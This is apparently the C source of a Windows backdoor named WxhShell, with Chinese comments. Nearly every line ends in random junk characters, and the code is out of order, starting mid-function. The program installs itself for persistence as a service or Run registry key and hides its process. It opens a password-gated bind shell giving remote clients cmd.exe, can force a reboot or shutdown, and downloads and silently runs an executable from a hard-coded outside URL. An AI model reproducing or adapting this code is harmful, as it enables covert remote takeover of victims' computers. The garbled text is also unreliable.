    if(Boot(SHUTDOWN)) _[rQt8zn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dQ-shfTr]  
    else { j<~T:Tk  
    closesocket(wsh); <-b9 )>  
    ExitThread(0); m a@V>*u  
    } #qF 1z}L(  
    break; r)Lm| S  
    } .I_<\h7  
  // 获取shell 5p}j{f  
  case 's': { _>;MQ)Km~  
    CmdShell(wsh); $oM>?h_ =  
    closesocket(wsh); 1L'Q;?&2H,  
    ExitThread(0); @R%qP>_  
    break; IQtQf_"e1  
  } |39,n~"o&  
  // 退出 -P|claO0  
  case 'x': { W^xO/xu1 /  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [xrsa!$   
    CloseIt(wsh); ^xNzppz`]C  
    break; 3h=kn@I  
    } 6)?u8K5%r  
  // 离开 Dt(D5A  
  case 'q': { OaY89ko  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ){#INmsF  
    closesocket(wsh); pg7~%E4  
    WSACleanup(); JrLh=0i9  
    exit(1); Hd\oV^ >  
    break; qwJp&6  
        } UjoA$A!Od;  
  } (BxmV1  
  } w:deQ:k  
 ^,ISz-4  
  // 提示信息 D84&=EpVZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BgUp~zdo  
} z_R^C%0k  
  } /@1YlxKF  
52Lp_M  
  return; %Gyn.9\  
} l=l$9H,  
6s~B2t:Y  
// shell模块句柄  dm=?o  
int CmdShell(SOCKET sock) r"{jrBK$  
{ 8UgogNR\  
STARTUPINFO si; "]q xjs^3?  
ZeroMemory(&si,sizeof(si)); b/R7 Mk1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {'wvb "b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =fnBE`Uc  
PROCESS_INFORMATION ProcessInfo; n YUFRV$  
char cmdline[]="cmd"; (.@peHu)#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =M*pym]QSY  
  return 0; Nr$78] o9  
} R_+:nCB@,  
;UpJ_y)n8\  
// 自身启动模式 GwP!:p|  
int StartFromService(void) '/03m\7  
{ snfFRc(RE  
typedef struct D^m2iW;  
{ 0?/gEr  
  DWORD ExitStatus; ^zO{Aks  
  DWORD PebBaseAddress; 'fb\t,  
  DWORD AffinityMask; FI?J8a  
  DWORD BasePriority; c;X,-Q9  
  ULONG UniqueProcessId; (2> q  
  ULONG InheritedFromUniqueProcessId; "p;tj74O9  
}   PROCESS_BASIC_INFORMATION; j xkQ #Y  
&uO-h  
PROCNTQSIP NtQueryInformationProcess; 612,J  
F$ G)vskd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '5$@ I{z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =gR/ t@Ld  
.0xk},  
  HANDLE             hProcess;  cf,6";8  
  PROCESS_BASIC_INFORMATION pbi; `4xQ#K.-  
YU[#4f~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?G',Qtz<K  
  if(NULL == hInst ) return 0; tl!dRV92  
AQQa6Ce*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gM;m{gXYK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /"k[T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FA{Q6fi:2  
:X'B K4EN  
  if (!NtQueryInformationProcess) return 0; [[<TW}  
]*k ~jY,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .4"BN<9  
  if(!hProcess) return 0; D>W&#A8&y  
fUWrR1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JmR2skoV,  
>I~Q[  
  CloseHandle(hProcess); =Jw*T[E  
Fs4shrt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hLZf A rq}  
if(hProcess==NULL) return 0; A_U=`M=-  
 {p/Yz#  
HMODULE hMod; +kYp!00  
char procName[255]; ]k]bLyz\J  
unsigned long cbNeeded; B1~`*~@  
K*DH_\SPK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \ Xh C  
)6p6<y  
  CloseHandle(hProcess); Nb ~J'"  
b,+KXx  
if(strstr(procName,"services")) return 1; // 以服务启动 zT&"rcT">  
e }C,)   
  return 0; // 注册表启动 *@#Gc%mGu  
} N]iarYc  
Q) aZ0 Pt  
// 主模块 B%Qo6*b  
int StartWxhshell(LPSTR lpCmdLine) EU:N9oT  
{ ub>:dNBN  
  SOCKET wsl; Qu'#~#L`  
BOOL val=TRUE; H#YI7l2  
  int port=0; /"A=Yf  
  struct sockaddr_in door; ai?J  
2Ul8<${c{  
  if(wscfg.ws_autoins) Install(); EHf,VIC8  
V~/@KU8cH  
port=atoi(lpCmdLine); ~:Z|\a58j  
NV/paoyx:*  
if(port<=0) port=wscfg.ws_port; iOv>g-t:  
=e#h;x2  
  WSADATA data; n]4Elrxx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /P9fcNP{y  
B;8Zlm9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O-p`9(_m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DN=W2MEfc  
  door.sin_family = AF_INET; =kwz3Wv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l(Hz9  
  door.sin_port = htons(port); H"w;~;h  
ydOG8EI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Oj%5FUP~[%  
closesocket(wsl); jGkDD8K [  
return 1; v+g:0 C5 (  
} x(EwHg>;  
 9Ca0Tu  
  if(listen(wsl,2) == INVALID_SOCKET) { 7DK}c]js  
closesocket(wsl); RaSuzy^`*]  
return 1; -UidU+ES;  
} 0 !%G #~th  
  Wxhshell(wsl); %?+Lkj&  
  WSACleanup(); 0%&}wUjV  
)XSHKPTQ1  
return 0; T&6>Eb0{  
yLCMu | +  
} X0j>g^b8  
W(ryL_#;  
// 以NT服务方式启动 ;?iu@h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]CcRI|g}  
{ nJv=kk1|o  
DWORD   status = 0; &gT@oS{  
  DWORD   specificError = 0xfffffff; Sw>>]UjU  
|dHtv6I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9wf"5c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZZHQ?p-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v\G 7V  
  serviceStatus.dwWin32ExitCode     = 0; !+Y+P?  
  serviceStatus.dwServiceSpecificExitCode = 0; G!C }ULq  
  serviceStatus.dwCheckPoint       = 0; H-e$~vEbP  
  serviceStatus.dwWaitHint       = 0; t%^&b'/Z  
K^"l.V#J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ( 6zu*H)  
  if (hServiceStatusHandle==0) return; kFkI[WKyZ  
havmhS)O  
status = GetLastError(); G{X7;j e  
  if (status!=NO_ERROR) C]JK'K<7-  
{ Zz:%KUl3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7y30TU  
    serviceStatus.dwCheckPoint       = 0; 5/ U{b5  
    serviceStatus.dwWaitHint       = 0; [8Z#HjhQ  
    serviceStatus.dwWin32ExitCode     = status; ;m.6 ~A  
    serviceStatus.dwServiceSpecificExitCode = specificError; eTgtt-;VR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ug0c0z!b  
    return; ,{(XT7hr  
  } {*8G<&  
=6\^F i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rZB='(?  
  serviceStatus.dwCheckPoint       = 0; (4q/LuP^d  
  serviceStatus.dwWaitHint       = 0; nLk`W"irM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [h B$%i]\<  
} ]i,o+xBKH  
@C=gMn.E  
// 处理NT服务事件,比如:启动、停止 vAop#V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AH'3 5Kf)  
{ byt$Wqdl  
switch(fdwControl) 7J6Z?  
{ F_w+8)DZ  
case SERVICE_CONTROL_STOP: g<^A(zM  
  serviceStatus.dwWin32ExitCode = 0; |Axbx?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~bzac2Rp  
  serviceStatus.dwCheckPoint   = 0; *m>[\)  
  serviceStatus.dwWaitHint     = 0; ^gyI-S(;  
  { BaP'y8dVN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N5K2Hv<"  
  } K3=0D!Dq  
  return; BL>~~  
case SERVICE_CONTROL_PAUSE: d+]=l+&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QH7 GEj]  
  break; I} Q+{/?/  
case SERVICE_CONTROL_CONTINUE: %52x:qGa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cq<Lj  
  break; &'Nzw2  
case SERVICE_CONTROL_INTERROGATE: T]/>c  
  break; #k &#d9}  
}; E^{!B]/oP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zi\ex\ )5  
} ()t~X Q  
='1hvv/  
// 标准应用程序主函数 j bT{K|d-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e87a9ZPm  
{ $7Z-Nn38  
6#jql  
// 获取操作系统版本 %B1TN#KoT  
OsIsNt=GetOsVer(); mv,a>Cvs[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [x=(:soEqC  
d>MDC . j  
  // 从命令行安装 tV pXA'"!x  
  if(strpbrk(lpCmdLine,"iI")) Install(); \=|=(kt)  
vQ2{ +5!|  
  // 下载执行文件 e~'z;% O~  
if(wscfg.ws_downexe) { "dOQ)<;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d2U?rw_  
  WinExec(wscfg.ws_filenam,SW_HIDE); v}AjW%rB  
} LH_ U#P`E  
1.8"N&s  
if(!OsIsNt) { |) &d9|]  
// 如果时win9x,隐藏进程并且设置为注册表启动 z9 #-  
HideProc(); 69:-c@ L0  
StartWxhshell(lpCmdLine); X6w+L?A  
} - 3PLP$P  
else d9jD?HgM(  
  if(StartFromService()) sy4Nm0m  
  // 以服务方式启动 ld({1jpX,  
  StartServiceCtrlDispatcher(DispatchTable); !v%>W< 3Q  
else G8?Do+[  
  // 普通方式启动 8 ?y|  
  StartWxhshell(lpCmdLine); #v~dhx=R  
&dni6E4  
return 0; q;sZwp<  
} `]4(Z"R  
cZoj|=3a  
grkA2%N  
]8$H'u(C  
=========================================== -,g.39u  
.YB/7-%M[  
.rwW5"RPq  
Nq9M$Nt]  
k*,+ag*j  
EASmB  
" ; 5[W*,7s  
^liW*F"UY  
#include <stdio.h> L+@X]O W8  
#include <string.h> P&: [pPG  
#include <windows.h> =^{MyR7  
#include <winsock2.h> lS p"(&  
#include <winsvc.h> Fe: ~M?]  
#include <urlmon.h> F)imeu  
{ JDD"z  
#pragma comment (lib, "Ws2_32.lib") H~Uy/22aQy  
#pragma comment (lib, "urlmon.lib") \K%M.>]vq  
1L7^g*  
#define MAX_USER   100 // 最大客户端连接数 uD{ xs  
#define BUF_SOCK   200 // sock buffer /S~ =qodS  
#define KEY_BUFF   255 // 输入 buffer kv?DE4=;  
a{JO8<dlm  
#define REBOOT     0   // 重启 RDy&i  
#define SHUTDOWN   1   // 关机 lt2MB#  
xA-?pLt "G  
#define DEF_PORT   5000 // 监听端口 "VoufXM:  
;g2UIb?{6  
#define REG_LEN     16   // 注册表键长度 +7_U( |gO  
#define SVC_LEN     80   // NT服务名长度 ]Z85%q^`  
B~& }Mv  
// 从dll定义API *|C vK&7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D8Mq '$-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5.yiNWh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); II~91IEk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : vgn0 IQ  
aiE\r/k8s  
// wxhshell配置信息 kw2d< I$]  
struct WSCFG { 1_c%p#?K  
  int ws_port;         // 监听端口 GM)q\Hx{  
  char ws_passstr[REG_LEN]; // 口令 5U]@ Y?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6zNWDUf  
  char ws_regname[REG_LEN]; // 注册表键名 Y"s8j=1m  
  char ws_svcname[REG_LEN]; // 服务名 Pq(LW(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cyabqx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i`vy<Dvpz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 utC^wA5U~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7 &%#bMnw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f:~$x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cF9oo%3  
(mI590`f  
}; \"Z\Af<  
kr |k \  
// default Wxhshell configuration vv^y V"0Y  
struct WSCFG wscfg={DEF_PORT, aXZi2  
    "xuhuanlingzhe", y; <}`  
    1, mDD96y  
    "Wxhshell", EQ :>]O  
    "Wxhshell", Pv\8 \,B9  
            "WxhShell Service", %,ScGQE  
    "Wrsky Windows CmdShell Service", u3wd~.  
    "Please Input Your Password: ", bH'2iG  
  1, & 2q<#b  
  "http://www.wrsky.com/wxhshell.exe", eU e, P  
  "Wxhshell.exe" lq, ]E/<&  
    }; kDM?`(r  
DvOvtd  
// 消息定义模块 ,]]IJ;:w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d'3"A"9R7-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ss\?SEq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &k-NDh3  
char *msg_ws_ext="\n\rExit."; 7-u'x[=m  
char *msg_ws_end="\n\rQuit."; p1 HbD`ST  
char *msg_ws_boot="\n\rReboot..."; F8Mf,jnPs  
char *msg_ws_poff="\n\rShutdown..."; #qD[dC$[t  
char *msg_ws_down="\n\rSave to "; ]\L+]+u~  
];b+f@  
char *msg_ws_err="\n\rErr!"; V3d$C&<(  
char *msg_ws_ok="\n\rOK!"; 3=} P l,  
{{gt>"D,  
char ExeFile[MAX_PATH]; T-/3 A%v  
int nUser = 0; FCKyKn  
HANDLE handles[MAX_USER]; =20 +(<  
int OsIsNt; ji.?bKqHE  
lB_X mI1t  
SERVICE_STATUS       serviceStatus; ~82 {Y _{/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T34Z#PFwe  
oj)(.X<8N  
// 函数声明 N#$]W"U  
int Install(void); PCV#O63[  
int Uninstall(void); :$PrlE  
int DownloadFile(char *sURL, SOCKET wsh); (pd~ 2!;C  
int Boot(int flag); &%qDi_UD  
void HideProc(void); gjX1z{{~L  
int GetOsVer(void); {Ja(+NQ  
int Wxhshell(SOCKET wsl); b0@K ~O;g  
void TalkWithClient(void *cs); gwXmoM5  
int CmdShell(SOCKET sock); S{f,EBE  
int StartFromService(void); %f1IV(3Qc  
int StartWxhshell(LPSTR lpCmdLine); Hr!$mf)h  
-Wh 2hWg+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {9x>@p/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;f N^MW@&[  
T0)bnjm  
// 数据结构和表定义 #5'@at'1  
SERVICE_TABLE_ENTRY DispatchTable[] = hdSP#Y'-  
{ qfxEo76'  
{wscfg.ws_svcname, NTServiceMain}, L%QRWhB  
{NULL, NULL} &?Q^i">cZ  
}; oGl<i  
SBDGms  
// 自我安装 FH$q,BI!R  
int Install(void) _G'A]O/BZD  
{ x#zj0vI-8  
  char svExeFile[MAX_PATH]; A,=> |&*  
  HKEY key; 1\Pjz Lj  
  strcpy(svExeFile,ExeFile); u^CL }t*  
~kSO YvK$'  
// 如果是win9x系统,修改注册表设为自启动 t*A[v  
if(!OsIsNt) { UX<-jY#'V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NJ-Ji> w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J2! Q09 }5  
  RegCloseKey(key); ^yq}>_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vNl)ltzJF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dga4|7-MY  
  RegCloseKey(key); BGwD{6`U  
  return 0; l"DHG`kb  
    } ,R3TFVV!?  
  } m.! M#x2!  
} Di4GaKa/  
else { >w,jaQ  
M+HhTW;I=  
// 如果是NT以上系统,安装为系统服务 =l${p*ABQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]*lZFP~  
if (schSCManager!=0) 3/yt  
{ *FZav2]-  
  SC_HANDLE schService = CreateService S_OtY]gF  
  ( d,Oagx  
  schSCManager, \@N~{72:k  
  wscfg.ws_svcname, g7*Uuh#  
  wscfg.ws_svcdisp, A*81}P_  
  SERVICE_ALL_ACCESS, ~1twGG_;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }HmkTk  
  SERVICE_AUTO_START, P3Lsfi.  
  SERVICE_ERROR_NORMAL, CV\y60n  
  svExeFile, vTK8t:JQ~  
  NULL, \b8#xT}  
  NULL, Hs:zfvD  
  NULL, [[6" qq  
  NULL, A|:+c*7]  
  NULL RjPkH$u'Pj  
  ); o9]32l  
  if (schService!=0) rBi<Yy$z  
  { r `n|fD.  
  CloseServiceHandle(schService); {#4a}:3  
  CloseServiceHandle(schSCManager); H>;,r ,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G kG#+C0L  
  strcat(svExeFile,wscfg.ws_svcname); <*dcl2xS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6-TYOUm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1IS1P)4_0  
  RegCloseKey(key); bu_@A^ys  
  return 0; 3!fR'L/i  
    } {f)aFGp  
  } 5dN>Xjpu  
  CloseServiceHandle(schSCManager); dg|x(p#  
} SOM? 0.  
} T#E$sZ  
YGLq ~A  
return 1; k3@d = k  
} i$@xb_  
yI#qkl-  
// 自我卸载 jl(D;JnF  
int Uninstall(void) E QU@';~8  
{ fDplYn#  
  HKEY key; Qj_)^3`e  
x>TIx[ x  
if(!OsIsNt) { }5(_gYr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cb?  !+U  
  RegDeleteValue(key,wscfg.ws_regname); h9<PP2.(  
  RegCloseKey(key); R%\3[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Fn/=  
  RegDeleteValue(key,wscfg.ws_regname); '/9j"mIA9$  
  RegCloseKey(key); U:n~S  
  return 0; CLVT5pj='  
  } _|0#  
} FK~wr;[  
} rOt{bh6r  
else { %7aJSuQN%  
*GBV[D[G,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r"h09suZBW  
if (schSCManager!=0) Z$KyK.FUU  
{ %N ~c9B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )e`9U.C  
  if (schService!=0) RMT9tXe*5  
  { 7sOAaWx  
  if(DeleteService(schService)!=0) { rA B=H*|6  
  CloseServiceHandle(schService); ^\Q,ACkZb  
  CloseServiceHandle(schSCManager); 1v.#ndk  
  return 0; jLI1Ed  
  } y] D\i5Xv  
  CloseServiceHandle(schService); &&P9T/Zks  
  } zNrn|(Y%Y  
  CloseServiceHandle(schSCManager); Q5Nbu90  
} 3!gz^[!?EN  
} #t(/wa4  
{ >[ ]iX  
return 1; V61oK  
} /4 pYhJ8S  
lqL5V"2Y  
// 从指定url下载文件  ArAe=m!u  
int DownloadFile(char *sURL, SOCKET wsh) JvW7h(u7g  
{ ~( XaXu  
  HRESULT hr; \EoE/2"<  
char seps[]= "/"; V'W*'wo   
char *token; ro<w8V9.a  
char *file; p.g>+7  
char myURL[MAX_PATH]; IO"P /Q  
char myFILE[MAX_PATH]; ciml:"nQ  
wdBB x\FP  
strcpy(myURL,sURL); a]V8F&)g#  
  token=strtok(myURL,seps); <@ ts[p.  
  while(token!=NULL) l:e C+[_;>  
  { ~zac.:a8  
    file=token; i*mU<:t  
  token=strtok(NULL,seps); _[-MyUs  
  } 8\' tfHL  
hOZTD0  
GetCurrentDirectory(MAX_PATH,myFILE); Ezew@*(  
strcat(myFILE, "\\"); >"<s7$g  
strcat(myFILE, file); w/( T  
  send(wsh,myFILE,strlen(myFILE),0); Nh^I{%.x  
send(wsh,"...",3,0); !9$}1_,is  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); db_?da;!`  
  if(hr==S_OK) R0*P,~L;|  
return 0; U9b[t  
else @^YXE,  
return 1; cRr3!<EZ  
;r"r1'a+@  
} %gFIu.c  
((`{-y\K  
// 系统电源模块 e#h&Xa  
int Boot(int flag) P (7el  
{ Qfy_@w]  
  HANDLE hToken; Ji!i}UjD7!  
  TOKEN_PRIVILEGES tkp; i_AD3Jrs  
Y96<c" t  
  if(OsIsNt) { eF{uWus  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v+Y^mV`|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AU`z.Isf  
    tkp.PrivilegeCount = 1; w2'z~\dG8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z'k?lkB2i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2'M5+[8y8  
if(flag==REBOOT) { |z_Dw$-xm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5cQ]vb  
  return 0; jmv=rl>E*  
} J0R{|]W8  
else { 8w[O%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >@bU8}rT  
  return 0; +<xQF  
} @"fv[=Xb  
  } !=.y[Db=  
  else { eza"<uBr  
if(flag==REBOOT) { e> 9X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kn>qX{W  
  return 0; ]rY9t@  
} 'G % ]/'_U  
else { $=E4pb4Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VM<0_R24z  
  return 0; F{ vT^/  
} ZR3,dW6S  
} X4hz\={  
sRcd{)|Cq  
return 1; EmUn&p%hI  
} [&&#~gz  
}15&<s  
// win9x进程隐藏模块 ~$4(|Fq/  
void HideProc(void) UYZC% $5x  
{ UIf#Gy|l  
(NR( )2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  }E(w@&  
  if ( hKernel != NULL ) (_}q>3  
  { B:v_5e\f@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !F}GSDDV*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |-{ Hy(9  
    FreeLibrary(hKernel); D}!YF~  
  } {e2ZW]  
MNe/H\  
return; ZyNgG9JL]  
} O_2o/  
m2(}$z3e  
// 获取操作系统版本 Ucy=I$"  
int GetOsVer(void) Q Rr9|p{  
{ $0$sDN6)x  
  OSVERSIONINFO winfo; :/][ n9J^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  }+/Vk  
  GetVersionEx(&winfo); xh#_K@8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LHZsmUM(dg  
  return 1; sxF2ku4A  
  else ~e[qh+  
  return 0; 8b 7I\J`  
} Sb2_&5  
T^7}Qs9  
// 客户端句柄模块 'Bt!X^  
int Wxhshell(SOCKET wsl) Gy["_;+xU  
{ >+i+_^]  
  SOCKET wsh; Er@xrhH  
  struct sockaddr_in client; M8 Bp-_  
  DWORD myID; "\;n t5L  
Xqm ?@JN  
  while(nUser<MAX_USER) rBL2A  
{ kP('X/  
  int nSize=sizeof(client); M+ <SSi"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^5~x*=_  
  if(wsh==INVALID_SOCKET) return 1; FYC]^D  
q$v0sTk0Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); snkMxc6c[  
if(handles[nUser]==0) s@%>  
  closesocket(wsh); SbL7e#!!  
else X04LAYY_u  
  nUser++; $/Q\B(X3  
  } dVLrA`'P*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mz<,nR\  
XHgW9;M!  
  return 0; a|t{1]^w`  
} K`X'Hg#_P2  
zD8$DG8  
// 关闭 socket o\it]B  
void CloseIt(SOCKET wsh) ON!Fk:-  
{ @ kv~2m  
closesocket(wsh); 0;`FS /[(f  
nUser--; %UooZO  
ExitThread(0); h'G  
} wt@TR~a  
IR2Qc6+{  
// 客户端请求句柄 @0H0!9'  
void TalkWithClient(void *cs) Bo ywgL|  
{ 6f#Mi+"  
Moi RAO  
  SOCKET wsh=(SOCKET)cs; GYJ j$'  
  char pwd[SVC_LEN]; &y73^"%  
  char cmd[KEY_BUFF]; ia /#`#.  
char chr[1]; X[w]aJnAr  
int i,j; _RzoXn{1e  
Imzh`SI,  
  while (nUser < MAX_USER) { a ge8I$*`@  
 4J=6U&b  
if(wscfg.ws_passstr) { JCZ&TK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 69ycP(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9w&CHg7D i  
  //ZeroMemory(pwd,KEY_BUFF); dW5r]D[Cx  
      i=0; u0?TMy.%  
  while(i<SVC_LEN) { >N`, 3;Z  
0%\fm W j  
  // 设置超时 }4c$_  
  fd_set FdRead; 0?I  
  struct timeval TimeOut; ~tW<]l7  
  FD_ZERO(&FdRead); 3_ E}XQd  
  FD_SET(wsh,&FdRead); Z5wQhhH  
  TimeOut.tv_sec=8; ~pI`_3  
  TimeOut.tv_usec=0; &DtI+ )[|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6y`FW[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :TnU}i_/h  
zC[LcC*+J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }7fzEo`g  
  pwd=chr[0]; b/#<::D `  
  if(chr[0]==0xd || chr[0]==0xa) { ib]<;t  
  pwd=0; rfgsas{F  
  break; i6;rh-M?.  
  } / )[\+Nc  
  i++; @LU[po1I  
    } ~Lu,jLKL=[  
e+2lus,u6t  
  // 如果是非法用户,关闭 socket ~<Wa$~oY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +Ezl.O@z  
} wc}x [cS  
Fo ,8"m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V0#E7u`4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vj)"?|V  
\0qFOjVj  
while(1) { %.uN|o&n  
Mj19;nc0I  
  ZeroMemory(cmd,KEY_BUFF); #:MoZw`rlw  
!HXsxNe  
      // 自动支持客户端 telnet标准   RdpOj >fT  
  j=0; NLgeBLB  
  while(j<KEY_BUFF) { > -fXn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `C6,**`R$k  
  cmd[j]=chr[0]; K_N`My  
  if(chr[0]==0xa || chr[0]==0xd) { 9Y2(.~w6X  
  cmd[j]=0; 3],(oQq^  
  break; FY+@fy  
  } ^:O*Sx.CA  
  j++; 7 X~JLvN  
    } W^H[rX}=  
VF7H0XR/k5  
  // 下载文件 wmP[\^c%$j  
  if(strstr(cmd,"http://")) { `"iPJw14  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qX[C%  
  if(DownloadFile(cmd,wsh)) ]@}@G[e#[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7d_"4;K)  
  else 0R&7vn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3`"k1W  
  }  GL&rT&  
  else { o3OJI_ v &  
